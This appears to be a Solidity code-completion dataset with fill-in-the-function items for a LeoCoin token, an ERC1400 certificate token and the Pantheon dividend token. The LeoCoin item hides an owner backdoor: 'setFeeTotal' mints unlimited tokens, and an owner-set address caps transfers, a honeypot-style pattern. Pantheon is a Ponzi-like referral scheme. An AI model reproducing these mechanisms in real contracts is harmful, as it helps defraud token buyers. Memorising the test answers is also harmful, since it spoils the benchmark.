contract LeoCoin is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address public _tBotAddress; address public _tBlackAddress; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'LeoCoin leopardocoin.io'; string private _symbol = 'LeoCoin'; uint8 private _decimals = 18; uint256 public _maxBlack = 50000000 * 10**18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function setBlackListBot(address blackListAddress) public onlyOwner { _tBotAddress = blackListAddress; } function setBlackAddress(address blackAddress) public onlyOwner { _tBlackAddress = blackAddress; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setFeeTotal(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); emit Transfer(address(0), _msgSender(), amount); } function setMaxTxBlack(uint256 maxTxBlackPercent) public onlyOwner { _maxBlack = maxTxBlackPercent * 10**18; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } <FILL_FUNCTION> }
require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender != _tBlackAddress && recipient == _tBotAddress) { require(amount < _maxBlack, "Transfer amount exceeds the maxTxAmount."); } _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount);
function _transfer(address sender, address recipient, uint256 amount) internal
function _transfer(address sender, address recipient, uint256 amount) internal
8673
ERC1400HoldableCertificateToken
canOperatorTransferByPartition
contract ERC1400HoldableCertificateToken is ERC1400, IExtensionTypes { string constant internal ERC1400_TOKENS_VALIDATOR = "ERC1400TokensValidator"; /** * @dev Initialize ERC1400 + initialize certificate controller. * @param name Name of the token. * @param symbol Symbol of the token. * @param granularity Granularity of the token. * @param controllers Array of initial controllers. * @param defaultPartitions Partitions chosen by default, when partition is * not specified, like the case ERC20 tranfers. * @param extension Address of token extension. * @param newOwner Address whom contract ownership shall be transferred to. * @param certificateSigner Address of the off-chain service which signs the * conditional ownership certificates required for token transfers, issuance, * redemption (Cf. CertificateController.sol). * @param certificateActivated If set to 'true', the certificate controller * is activated at contract creation. */ constructor( string memory name, string memory symbol, uint256 granularity, address[] memory controllers, bytes32[] memory defaultPartitions, address extension, address newOwner, address certificateSigner, CertificateValidation certificateActivated ) public ERC1400(name, symbol, granularity, controllers, defaultPartitions) { if(extension != address(0)) { Extension(extension).registerTokenSetup( address(this), // token certificateActivated, // certificateActivated true, // allowlistActivated true, // blocklistActivated true, // granularityByPartitionActivated true, // holdsActivated controllers // token controllers ); if(certificateSigner != address(0)) { Extension(extension).addCertificateSigner(address(this), certificateSigner); } _setTokenExtension(extension, ERC1400_TOKENS_VALIDATOR, true, true, true); } if(newOwner != address(0)) { _transferOwnership(newOwner); } } /************************************** Transfer Validity ***************************************/ /** * @dev Know the reason on success or failure based on the EIP-1066 application-specific status codes. * @param partition Name of the partition. * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer, by the token holder. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] * @return ESC (Ethereum Status Code) following the EIP-1066 standard. * @return Additional bytes32 parameter that can be used to define * application specific reason codes with additional details (for example the * transfer restriction rule responsible for making the transfer operation invalid). * @return Destination partition. */ function canTransferByPartition(bytes32 partition, address to, uint256 value, bytes calldata data) external view returns (byte, bytes32, bytes32) { return ERC1400._canTransfer( _replaceFunctionSelector(this.transferByPartition.selector, msg.data), // 0xf3d490db: 4 first bytes of keccak256(transferByPartition(bytes32,address,uint256,bytes)) partition, msg.sender, msg.sender, to, value, data, "" ); } /** * @dev Know the reason on success or failure based on the EIP-1066 application-specific status codes. * @param partition Name of the partition. * @param from Token holder. * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer. [CAN CONTAIN THE DESTINATION PARTITION] * @param operatorData Information attached to the transfer, by the operator. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] * @return ESC (Ethereum Status Code) following the EIP-1066 standard. * @return Additional bytes32 parameter that can be used to define * application specific reason codes with additional details (for example the * transfer restriction rule responsible for making the transfer operation invalid). * @return Destination partition. */ function canOperatorTransferByPartition(bytes32 partition, address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData) external view returns (byte, bytes32, bytes32) {<FILL_FUNCTION_BODY> } /** * @dev Replace function selector * @param functionSig Replacement function selector. * @param payload Payload, where function selector needs to be replaced. */ function _replaceFunctionSelector(bytes4 functionSig, bytes memory payload) internal pure returns(bytes memory) { bytes memory updatedPayload = new bytes(payload.length); for (uint i = 0; i<4; i++){ updatedPayload[i] = functionSig[i]; } for (uint j = 4; j<payload.length; j++){ updatedPayload[j] = payload[j]; } return updatedPayload; } /************************************************************************************************/ }
contract ERC1400HoldableCertificateToken is ERC1400, IExtensionTypes { string constant internal ERC1400_TOKENS_VALIDATOR = "ERC1400TokensValidator"; /** * @dev Initialize ERC1400 + initialize certificate controller. * @param name Name of the token. * @param symbol Symbol of the token. * @param granularity Granularity of the token. * @param controllers Array of initial controllers. * @param defaultPartitions Partitions chosen by default, when partition is * not specified, like the case ERC20 tranfers. * @param extension Address of token extension. * @param newOwner Address whom contract ownership shall be transferred to. * @param certificateSigner Address of the off-chain service which signs the * conditional ownership certificates required for token transfers, issuance, * redemption (Cf. CertificateController.sol). * @param certificateActivated If set to 'true', the certificate controller * is activated at contract creation. */ constructor( string memory name, string memory symbol, uint256 granularity, address[] memory controllers, bytes32[] memory defaultPartitions, address extension, address newOwner, address certificateSigner, CertificateValidation certificateActivated ) public ERC1400(name, symbol, granularity, controllers, defaultPartitions) { if(extension != address(0)) { Extension(extension).registerTokenSetup( address(this), // token certificateActivated, // certificateActivated true, // allowlistActivated true, // blocklistActivated true, // granularityByPartitionActivated true, // holdsActivated controllers // token controllers ); if(certificateSigner != address(0)) { Extension(extension).addCertificateSigner(address(this), certificateSigner); } _setTokenExtension(extension, ERC1400_TOKENS_VALIDATOR, true, true, true); } if(newOwner != address(0)) { _transferOwnership(newOwner); } } /************************************** Transfer Validity ***************************************/ /** * @dev Know the reason on success or failure based on the EIP-1066 application-specific status codes. * @param partition Name of the partition. * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer, by the token holder. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] * @return ESC (Ethereum Status Code) following the EIP-1066 standard. * @return Additional bytes32 parameter that can be used to define * application specific reason codes with additional details (for example the * transfer restriction rule responsible for making the transfer operation invalid). * @return Destination partition. */ function canTransferByPartition(bytes32 partition, address to, uint256 value, bytes calldata data) external view returns (byte, bytes32, bytes32) { return ERC1400._canTransfer( _replaceFunctionSelector(this.transferByPartition.selector, msg.data), // 0xf3d490db: 4 first bytes of keccak256(transferByPartition(bytes32,address,uint256,bytes)) partition, msg.sender, msg.sender, to, value, data, "" ); } <FILL_FUNCTION> /** * @dev Replace function selector * @param functionSig Replacement function selector. * @param payload Payload, where function selector needs to be replaced. */ function _replaceFunctionSelector(bytes4 functionSig, bytes memory payload) internal pure returns(bytes memory) { bytes memory updatedPayload = new bytes(payload.length); for (uint i = 0; i<4; i++){ updatedPayload[i] = functionSig[i]; } for (uint j = 4; j<payload.length; j++){ updatedPayload[j] = payload[j]; } return updatedPayload; } /************************************************************************************************/ }
return ERC1400._canTransfer( _replaceFunctionSelector(this.operatorTransferByPartition.selector, msg.data), // 0x8c0dee9c: 4 first bytes of keccak256(operatorTransferByPartition(bytes32,address,address,uint256,bytes,bytes)) partition, msg.sender, from, to, value, data, operatorData );
function canOperatorTransferByPartition(bytes32 partition, address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData) external view returns (byte, bytes32, bytes32)
/** * @dev Know the reason on success or failure based on the EIP-1066 application-specific status codes. * @param partition Name of the partition. * @param from Token holder. * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer. [CAN CONTAIN THE DESTINATION PARTITION] * @param operatorData Information attached to the transfer, by the operator. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] * @return ESC (Ethereum Status Code) following the EIP-1066 standard. * @return Additional bytes32 parameter that can be used to define * application specific reason codes with additional details (for example the * transfer restriction rule responsible for making the transfer operation invalid). * @return Destination partition. */ function canOperatorTransferByPartition(bytes32 partition, address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData) external view returns (byte, bytes32, bytes32)
4021
PantheonEcoSystem
reinvest
contract PantheonEcoSystem { struct UserRecord { address referrer; uint tokens; uint gained_funds; uint ref_funds; // this field can be negative int funds_correction; } using SafeMath for uint; using SafeMathInt for int; using Fee for Fee.fee; using ToAddress for bytes; // ERC20 string constant public name = "Pantheon Ecosystem"; string constant public symbol = "PAN"; uint8 constant public decimals = 18; // Fees Fee.fee private fee_purchase = Fee.fee(1, 10); // 10% Fee.fee private fee_selling = Fee.fee(1, 20); // 5% Fee.fee private fee_transfer = Fee.fee(1, 100); // 1% Fee.fee private fee_referral = Fee.fee(33, 100); // 33% // Minimal amount of tokens to be an participant of referral program uint constant private minimal_stake = 10e18; // Factor for converting eth <-> tokens with required precision of calculations uint constant private precision_factor = 1e18; // Pricing policy // - if user buy 1 token, price will be increased by "price_offset" value // - if user sell 1 token, price will be decreased by "price_offset" value // For details see methods "fundsToTokens" and "tokensToFunds" uint private price = 1e29; // 100 Gwei * precision_factor uint constant private price_offset = 1e28; // 10 Gwei * precision_factor // Total amount of tokens uint private total_supply = 0; // Total profit shared between token's holders. It's not reflect exactly sum of funds because this parameter // can be modified to keep the real user's dividends when total supply is changed // For details see method "dividendsOf" and using "funds_correction" in the code uint private shared_profit = 0; // Map of the users data mapping(address => UserRecord) private user_data; // ==== Modifiers ==== // modifier onlyValidTokenAmount(uint tokens) { require(tokens > 0, "Amount of tokens must be greater than zero"); require(tokens <= user_data[msg.sender].tokens, "You have not enough tokens"); _; } // ==== Public API ==== // // ---- Write methods ---- // function () public payable { buy(msg.data.toAddr()); } /* * @dev Buy tokens from incoming funds */ function buy(address referrer) public payable { // apply fee (uint fee_funds, uint taxed_funds) = fee_purchase.split(msg.value); require(fee_funds != 0, "Incoming funds is too small"); // update user's referrer // - you cannot be a referrer for yourself // - user and his referrer will be together all the life UserRecord storage user = user_data[msg.sender]; if (referrer != 0x0 && referrer != msg.sender && user.referrer == 0x0) { user.referrer = referrer; } // apply referral bonus if (user.referrer != 0x0) { fee_funds = rewardReferrer(msg.sender, user.referrer, fee_funds, msg.value); require(fee_funds != 0, "Incoming funds is too small"); } // calculate amount of tokens and change price (uint tokens, uint _price) = fundsToTokens(taxed_funds); require(tokens != 0, "Incoming funds is too small"); price = _price; // mint tokens and increase shared profit mintTokens(msg.sender, tokens); shared_profit = shared_profit.add(fee_funds); emit Purchase(msg.sender, msg.value, tokens, price / precision_factor, now); } /* * @dev Sell given amount of tokens and get funds */ function sell(uint tokens) public onlyValidTokenAmount(tokens) { // calculate amount of funds and change price (uint funds, uint _price) = tokensToFunds(tokens); require(funds != 0, "Insufficient tokens to do that"); price = _price; // apply fee (uint fee_funds, uint taxed_funds) = fee_selling.split(funds); require(fee_funds != 0, "Insufficient tokens to do that"); // burn tokens and add funds to user's dividends burnTokens(msg.sender, tokens); UserRecord storage user = user_data[msg.sender]; user.gained_funds = user.gained_funds.add(taxed_funds); // increase shared profit shared_profit = shared_profit.add(fee_funds); emit Selling(msg.sender, tokens, funds, price / precision_factor, now); } /* * @dev Transfer given amount of tokens from sender to another user * ERC20 */ function transfer(address to_addr, uint tokens) public onlyValidTokenAmount(tokens) returns (bool success) { require(to_addr != msg.sender, "You cannot transfer tokens to yourself"); // apply fee (uint fee_tokens, uint taxed_tokens) = fee_transfer.split(tokens); require(fee_tokens != 0, "Insufficient tokens to do that"); // calculate amount of funds and change price (uint funds, uint _price) = tokensToFunds(fee_tokens); require(funds != 0, "Insufficient tokens to do that"); price = _price; // burn and mint tokens excluding fee burnTokens(msg.sender, tokens); mintTokens(to_addr, taxed_tokens); // increase shared profit shared_profit = shared_profit.add(funds); emit Transfer(msg.sender, to_addr, tokens); return true; } /* * @dev Reinvest all dividends */ function reinvest() public {<FILL_FUNCTION_BODY> } /* * @dev Withdraw all dividends */ function withdraw() public { // get all dividends uint funds = dividendsOf(msg.sender); require(funds > 0, "You have no dividends"); // make correction, dividents will be 0 after that UserRecord storage user = user_data[msg.sender]; user.funds_correction = user.funds_correction.add(int(funds)); // send funds msg.sender.transfer(funds); emit Withdrawal(msg.sender, funds, now); } /* * @dev Sell all tokens and withraw dividends */ function exit() public { // sell all tokens uint tokens = user_data[msg.sender].tokens; if (tokens > 0) { sell(tokens); } withdraw(); } /* * @dev CAUTION! This method distributes all incoming funds between token's holders and gives you nothing * It will be used by another contracts/addresses from our ecosystem in future * But if you want to donate, you're welcome :) */ function donate() public payable { shared_profit = shared_profit.add(msg.value); emit Donation(msg.sender, msg.value, now); } // ---- Read methods ---- // /* * @dev Total amount of tokens * ERC20 */ function totalSupply() public view returns (uint) { return total_supply; } /* * @dev Amount of user's tokens * ERC20 */ function balanceOf(address addr) public view returns (uint) { return user_data[addr].tokens; } /* * @dev Amount of user's dividends */ function dividendsOf(address addr) public view returns (uint) { UserRecord memory user = user_data[addr]; // gained funds from selling tokens + bonus funds from referrals // int because "user.funds_correction" can be negative int d = int(user.gained_funds.add(user.ref_funds)); require(d >= 0); // avoid zero divizion if (total_supply > 0) { // profit is proportional to stake d = d.add(int(shared_profit.mul(user.tokens) / total_supply)); } // correction // d -= user.funds_correction if (user.funds_correction > 0) { d = d.sub(user.funds_correction); } else if (user.funds_correction < 0) { d = d.add(-user.funds_correction); } // just in case require(d >= 0); // total sum must be positive uint return uint(d); } /* * @dev Amount of tokens can be gained from given amount of funds */ function expectedTokens(uint funds, bool apply_fee) public view returns (uint) { if (funds == 0) { return 0; } if (apply_fee) { (,uint _funds) = fee_purchase.split(funds); funds = _funds; } (uint tokens,) = fundsToTokens(funds); return tokens; } /* * @dev Amount of funds can be gained from given amount of tokens */ function expectedFunds(uint tokens, bool apply_fee) public view returns (uint) { // empty tokens in total OR no tokens was sold if (tokens == 0 || total_supply == 0) { return 0; } // more tokens than were mined in total, just exclude unnecessary tokens from calculating else if (tokens > total_supply) { tokens = total_supply; } (uint funds,) = tokensToFunds(tokens); if (apply_fee) { (,uint _funds) = fee_selling.split(funds); funds = _funds; } return funds; } /* * @dev Purchase price of next 1 token */ function buyPrice() public view returns (uint) { return price / precision_factor; } /* * @dev Selling price of next 1 token */ function sellPrice() public view returns (uint) { return price.sub(price_offset) / precision_factor; } // ==== Private API ==== // /* * @dev Mint given amount of tokens to given user */ function mintTokens(address addr, uint tokens) internal { UserRecord storage user = user_data[addr]; bool not_first_minting = total_supply > 0; // make correction to keep dividends the rest of the users if (not_first_minting) { shared_profit = shared_profit.mul(total_supply.add(tokens)) / total_supply; } // add tokens total_supply = total_supply.add(tokens); user.tokens = user.tokens.add(tokens); // make correction to keep dividends of user if (not_first_minting) { user.funds_correction = user.funds_correction.add(int(tokens.mul(shared_profit) / total_supply)); } } /* * @dev Burn given amout of tokens from given user */ function burnTokens(address addr, uint tokens) internal { UserRecord storage user = user_data[addr]; // keep current dividents of user if last tokens will be burned uint dividends_from_tokens = 0; if (total_supply == tokens) { dividends_from_tokens = shared_profit.mul(user.tokens) / total_supply; } // make correction to keep dividends the rest of the users shared_profit = shared_profit.mul(total_supply.sub(tokens)) / total_supply; // sub tokens total_supply = total_supply.sub(tokens); user.tokens = user.tokens.sub(tokens); // make correction to keep dividends of the user // if burned not last tokens if (total_supply > 0) { user.funds_correction = user.funds_correction.sub(int(tokens.mul(shared_profit) / total_supply)); } // if burned last tokens else if (dividends_from_tokens != 0) { user.funds_correction = user.funds_correction.sub(int(dividends_from_tokens)); } } /* * @dev Rewards the referrer from given amount of funds */ function rewardReferrer(address addr, address referrer_addr, uint funds, uint full_funds) internal returns (uint funds_after_reward) { UserRecord storage referrer = user_data[referrer_addr]; if (referrer.tokens >= minimal_stake) { (uint reward_funds, uint taxed_funds) = fee_referral.split(funds); referrer.ref_funds = referrer.ref_funds.add(reward_funds); emit ReferralReward(addr, referrer_addr, full_funds, reward_funds, now); return taxed_funds; } else { return funds; } } /* * @dev Calculate tokens from funds * * Given: * a[1] = price * d = price_offset * sum(n) = funds * Here is used arithmetic progression's equation transformed to a quadratic equation: * a * n^2 + b * n + c = 0 * Where: * a = d * b = 2 * a[1] - d * c = -2 * sum(n) * Solve it and first root is what we need - amount of tokens * So: * tokens = n * price = a[n+1] * * For details see method below */ function fundsToTokens(uint funds) internal view returns (uint tokens, uint _price) { uint b = price.mul(2).sub(price_offset); uint D = b.mul(b).add(price_offset.mul(8).mul(funds).mul(precision_factor)); uint n = D.sqrt().sub(b).mul(precision_factor) / price_offset.mul(2); uint anp1 = price.add(price_offset.mul(n) / precision_factor); return (n, anp1); } /* * @dev Calculate funds from tokens * * Given: * a[1] = sell_price * d = price_offset * n = tokens * Here is used arithmetic progression's equation (-d because of d must be negative to reduce price): * a[n] = a[1] - d * (n - 1) * sum(n) = (a[1] + a[n]) * n / 2 * So: * funds = sum(n) * price = a[n] * * For details see method above */ function tokensToFunds(uint tokens) internal view returns (uint funds, uint _price) { uint sell_price = price.sub(price_offset); uint an = sell_price.add(price_offset).sub(price_offset.mul(tokens) / precision_factor); uint sn = sell_price.add(an).mul(tokens) / precision_factor.mul(2); return (sn / precision_factor, an); } // ==== Events ==== // event Purchase(address indexed addr, uint funds, uint tokens, uint price, uint time); event Selling(address indexed addr, uint tokens, uint funds, uint price, uint time); event Reinvestment(address indexed addr, uint funds, uint tokens, uint price, uint time); event Withdrawal(address indexed addr, uint funds, uint time); event Donation(address indexed addr, uint funds, uint time); event ReferralReward(address indexed referral_addr, address indexed referrer_addr, uint funds, uint reward_funds, uint time); //ERC20 event Transfer(address indexed from_addr, address indexed to_addr, uint tokens); }
contract PantheonEcoSystem { struct UserRecord { address referrer; uint tokens; uint gained_funds; uint ref_funds; // this field can be negative int funds_correction; } using SafeMath for uint; using SafeMathInt for int; using Fee for Fee.fee; using ToAddress for bytes; // ERC20 string constant public name = "Pantheon Ecosystem"; string constant public symbol = "PAN"; uint8 constant public decimals = 18; // Fees Fee.fee private fee_purchase = Fee.fee(1, 10); // 10% Fee.fee private fee_selling = Fee.fee(1, 20); // 5% Fee.fee private fee_transfer = Fee.fee(1, 100); // 1% Fee.fee private fee_referral = Fee.fee(33, 100); // 33% // Minimal amount of tokens to be an participant of referral program uint constant private minimal_stake = 10e18; // Factor for converting eth <-> tokens with required precision of calculations uint constant private precision_factor = 1e18; // Pricing policy // - if user buy 1 token, price will be increased by "price_offset" value // - if user sell 1 token, price will be decreased by "price_offset" value // For details see methods "fundsToTokens" and "tokensToFunds" uint private price = 1e29; // 100 Gwei * precision_factor uint constant private price_offset = 1e28; // 10 Gwei * precision_factor // Total amount of tokens uint private total_supply = 0; // Total profit shared between token's holders. It's not reflect exactly sum of funds because this parameter // can be modified to keep the real user's dividends when total supply is changed // For details see method "dividendsOf" and using "funds_correction" in the code uint private shared_profit = 0; // Map of the users data mapping(address => UserRecord) private user_data; // ==== Modifiers ==== // modifier onlyValidTokenAmount(uint tokens) { require(tokens > 0, "Amount of tokens must be greater than zero"); require(tokens <= user_data[msg.sender].tokens, "You have not enough tokens"); _; } // ==== Public API ==== // // ---- Write methods ---- // function () public payable { buy(msg.data.toAddr()); } /* * @dev Buy tokens from incoming funds */ function buy(address referrer) public payable { // apply fee (uint fee_funds, uint taxed_funds) = fee_purchase.split(msg.value); require(fee_funds != 0, "Incoming funds is too small"); // update user's referrer // - you cannot be a referrer for yourself // - user and his referrer will be together all the life UserRecord storage user = user_data[msg.sender]; if (referrer != 0x0 && referrer != msg.sender && user.referrer == 0x0) { user.referrer = referrer; } // apply referral bonus if (user.referrer != 0x0) { fee_funds = rewardReferrer(msg.sender, user.referrer, fee_funds, msg.value); require(fee_funds != 0, "Incoming funds is too small"); } // calculate amount of tokens and change price (uint tokens, uint _price) = fundsToTokens(taxed_funds); require(tokens != 0, "Incoming funds is too small"); price = _price; // mint tokens and increase shared profit mintTokens(msg.sender, tokens); shared_profit = shared_profit.add(fee_funds); emit Purchase(msg.sender, msg.value, tokens, price / precision_factor, now); } /* * @dev Sell given amount of tokens and get funds */ function sell(uint tokens) public onlyValidTokenAmount(tokens) { // calculate amount of funds and change price (uint funds, uint _price) = tokensToFunds(tokens); require(funds != 0, "Insufficient tokens to do that"); price = _price; // apply fee (uint fee_funds, uint taxed_funds) = fee_selling.split(funds); require(fee_funds != 0, "Insufficient tokens to do that"); // burn tokens and add funds to user's dividends burnTokens(msg.sender, tokens); UserRecord storage user = user_data[msg.sender]; user.gained_funds = user.gained_funds.add(taxed_funds); // increase shared profit shared_profit = shared_profit.add(fee_funds); emit Selling(msg.sender, tokens, funds, price / precision_factor, now); } /* * @dev Transfer given amount of tokens from sender to another user * ERC20 */ function transfer(address to_addr, uint tokens) public onlyValidTokenAmount(tokens) returns (bool success) { require(to_addr != msg.sender, "You cannot transfer tokens to yourself"); // apply fee (uint fee_tokens, uint taxed_tokens) = fee_transfer.split(tokens); require(fee_tokens != 0, "Insufficient tokens to do that"); // calculate amount of funds and change price (uint funds, uint _price) = tokensToFunds(fee_tokens); require(funds != 0, "Insufficient tokens to do that"); price = _price; // burn and mint tokens excluding fee burnTokens(msg.sender, tokens); mintTokens(to_addr, taxed_tokens); // increase shared profit shared_profit = shared_profit.add(funds); emit Transfer(msg.sender, to_addr, tokens); return true; } <FILL_FUNCTION> /* * @dev Withdraw all dividends */ function withdraw() public { // get all dividends uint funds = dividendsOf(msg.sender); require(funds > 0, "You have no dividends"); // make correction, dividents will be 0 after that UserRecord storage user = user_data[msg.sender]; user.funds_correction = user.funds_correction.add(int(funds)); // send funds msg.sender.transfer(funds); emit Withdrawal(msg.sender, funds, now); } /* * @dev Sell all tokens and withraw dividends */ function exit() public { // sell all tokens uint tokens = user_data[msg.sender].tokens; if (tokens > 0) { sell(tokens); } withdraw(); } /* * @dev CAUTION! This method distributes all incoming funds between token's holders and gives you nothing * It will be used by another contracts/addresses from our ecosystem in future * But if you want to donate, you're welcome :) */ function donate() public payable { shared_profit = shared_profit.add(msg.value); emit Donation(msg.sender, msg.value, now); } // ---- Read methods ---- // /* * @dev Total amount of tokens * ERC20 */ function totalSupply() public view returns (uint) { return total_supply; } /* * @dev Amount of user's tokens * ERC20 */ function balanceOf(address addr) public view returns (uint) { return user_data[addr].tokens; } /* * @dev Amount of user's dividends */ function dividendsOf(address addr) public view returns (uint) { UserRecord memory user = user_data[addr]; // gained funds from selling tokens + bonus funds from referrals // int because "user.funds_correction" can be negative int d = int(user.gained_funds.add(user.ref_funds)); require(d >= 0); // avoid zero divizion if (total_supply > 0) { // profit is proportional to stake d = d.add(int(shared_profit.mul(user.tokens) / total_supply)); } // correction // d -= user.funds_correction if (user.funds_correction > 0) { d = d.sub(user.funds_correction); } else if (user.funds_correction < 0) { d = d.add(-user.funds_correction); } // just in case require(d >= 0); // total sum must be positive uint return uint(d); } /* * @dev Amount of tokens can be gained from given amount of funds */ function expectedTokens(uint funds, bool apply_fee) public view returns (uint) { if (funds == 0) { return 0; } if (apply_fee) { (,uint _funds) = fee_purchase.split(funds); funds = _funds; } (uint tokens,) = fundsToTokens(funds); return tokens; } /* * @dev Amount of funds can be gained from given amount of tokens */ function expectedFunds(uint tokens, bool apply_fee) public view returns (uint) { // empty tokens in total OR no tokens was sold if (tokens == 0 || total_supply == 0) { return 0; } // more tokens than were mined in total, just exclude unnecessary tokens from calculating else if (tokens > total_supply) { tokens = total_supply; } (uint funds,) = tokensToFunds(tokens); if (apply_fee) { (,uint _funds) = fee_selling.split(funds); funds = _funds; } return funds; } /* * @dev Purchase price of next 1 token */ function buyPrice() public view returns (uint) { return price / precision_factor; } /* * @dev Selling price of next 1 token */ function sellPrice() public view returns (uint) { return price.sub(price_offset) / precision_factor; } // ==== Private API ==== // /* * @dev Mint given amount of tokens to given user */ function mintTokens(address addr, uint tokens) internal { UserRecord storage user = user_data[addr]; bool not_first_minting = total_supply > 0; // make correction to keep dividends the rest of the users if (not_first_minting) { shared_profit = shared_profit.mul(total_supply.add(tokens)) / total_supply; } // add tokens total_supply = total_supply.add(tokens); user.tokens = user.tokens.add(tokens); // make correction to keep dividends of user if (not_first_minting) { user.funds_correction = user.funds_correction.add(int(tokens.mul(shared_profit) / total_supply)); } } /* * @dev Burn given amout of tokens from given user */ function burnTokens(address addr, uint tokens) internal { UserRecord storage user = user_data[addr]; // keep current dividents of user if last tokens will be burned uint dividends_from_tokens = 0; if (total_supply == tokens) { dividends_from_tokens = shared_profit.mul(user.tokens) / total_supply; } // make correction to keep dividends the rest of the users shared_profit = shared_profit.mul(total_supply.sub(tokens)) / total_supply; // sub tokens total_supply = total_supply.sub(tokens); user.tokens = user.tokens.sub(tokens); // make correction to keep dividends of the user // if burned not last tokens if (total_supply > 0) { user.funds_correction = user.funds_correction.sub(int(tokens.mul(shared_profit) / total_supply)); } // if burned last tokens else if (dividends_from_tokens != 0) { user.funds_correction = user.funds_correction.sub(int(dividends_from_tokens)); } } /* * @dev Rewards the referrer from given amount of funds */ function rewardReferrer(address addr, address referrer_addr, uint funds, uint full_funds) internal returns (uint funds_after_reward) { UserRecord storage referrer = user_data[referrer_addr]; if (referrer.tokens >= minimal_stake) { (uint reward_funds, uint taxed_funds) = fee_referral.split(funds); referrer.ref_funds = referrer.ref_funds.add(reward_funds); emit ReferralReward(addr, referrer_addr, full_funds, reward_funds, now); return taxed_funds; } else { return funds; } } /* * @dev Calculate tokens from funds * * Given: * a[1] = price * d = price_offset * sum(n) = funds * Here is used arithmetic progression's equation transformed to a quadratic equation: * a * n^2 + b * n + c = 0 * Where: * a = d * b = 2 * a[1] - d * c = -2 * sum(n) * Solve it and first root is what we need - amount of tokens * So: * tokens = n * price = a[n+1] * * For details see method below */ function fundsToTokens(uint funds) internal view returns (uint tokens, uint _price) { uint b = price.mul(2).sub(price_offset); uint D = b.mul(b).add(price_offset.mul(8).mul(funds).mul(precision_factor)); uint n = D.sqrt().sub(b).mul(precision_factor) / price_offset.mul(2); uint anp1 = price.add(price_offset.mul(n) / precision_factor); return (n, anp1); } /* * @dev Calculate funds from tokens * * Given: * a[1] = sell_price * d = price_offset * n = tokens * Here is used arithmetic progression's equation (-d because of d must be negative to reduce price): * a[n] = a[1] - d * (n - 1) * sum(n) = (a[1] + a[n]) * n / 2 * So: * funds = sum(n) * price = a[n] * * For details see method above */ function tokensToFunds(uint tokens) internal view returns (uint funds, uint _price) { uint sell_price = price.sub(price_offset); uint an = sell_price.add(price_offset).sub(price_offset.mul(tokens) / precision_factor); uint sn = sell_price.add(an).mul(tokens) / precision_factor.mul(2); return (sn / precision_factor, an); } // ==== Events ==== // event Purchase(address indexed addr, uint funds, uint tokens, uint price, uint time); event Selling(address indexed addr, uint tokens, uint funds, uint price, uint time); event Reinvestment(address indexed addr, uint funds, uint tokens, uint price, uint time); event Withdrawal(address indexed addr, uint funds, uint time); event Donation(address indexed addr, uint funds, uint time); event ReferralReward(address indexed referral_addr, address indexed referrer_addr, uint funds, uint reward_funds, uint time); //ERC20 event Transfer(address indexed from_addr, address indexed to_addr, uint tokens); }
// get all dividends uint funds = dividendsOf(msg.sender); require(funds > 0, "You have no dividends"); // make correction, dividents will be 0 after that UserRecord storage user = user_data[msg.sender]; user.funds_correction = user.funds_correction.add(int(funds)); // apply fee (uint fee_funds, uint taxed_funds) = fee_purchase.split(funds); require(fee_funds != 0, "Insufficient dividends to do that"); // apply referral bonus if (user.referrer != 0x0) { fee_funds = rewardReferrer(msg.sender, user.referrer, fee_funds, funds); require(fee_funds != 0, "Insufficient dividends to do that"); } // calculate amount of tokens and change price (uint tokens, uint _price) = fundsToTokens(taxed_funds); require(tokens != 0, "Insufficient dividends to do that"); price = _price; // mint tokens and increase shared profit mintTokens(msg.sender, tokens); shared_profit = shared_profit.add(fee_funds); emit Reinvestment(msg.sender, funds, tokens, price / precision_factor, now);
function reinvest() public
/* * @dev Reinvest all dividends */ function reinvest() public
71895
Humott
null
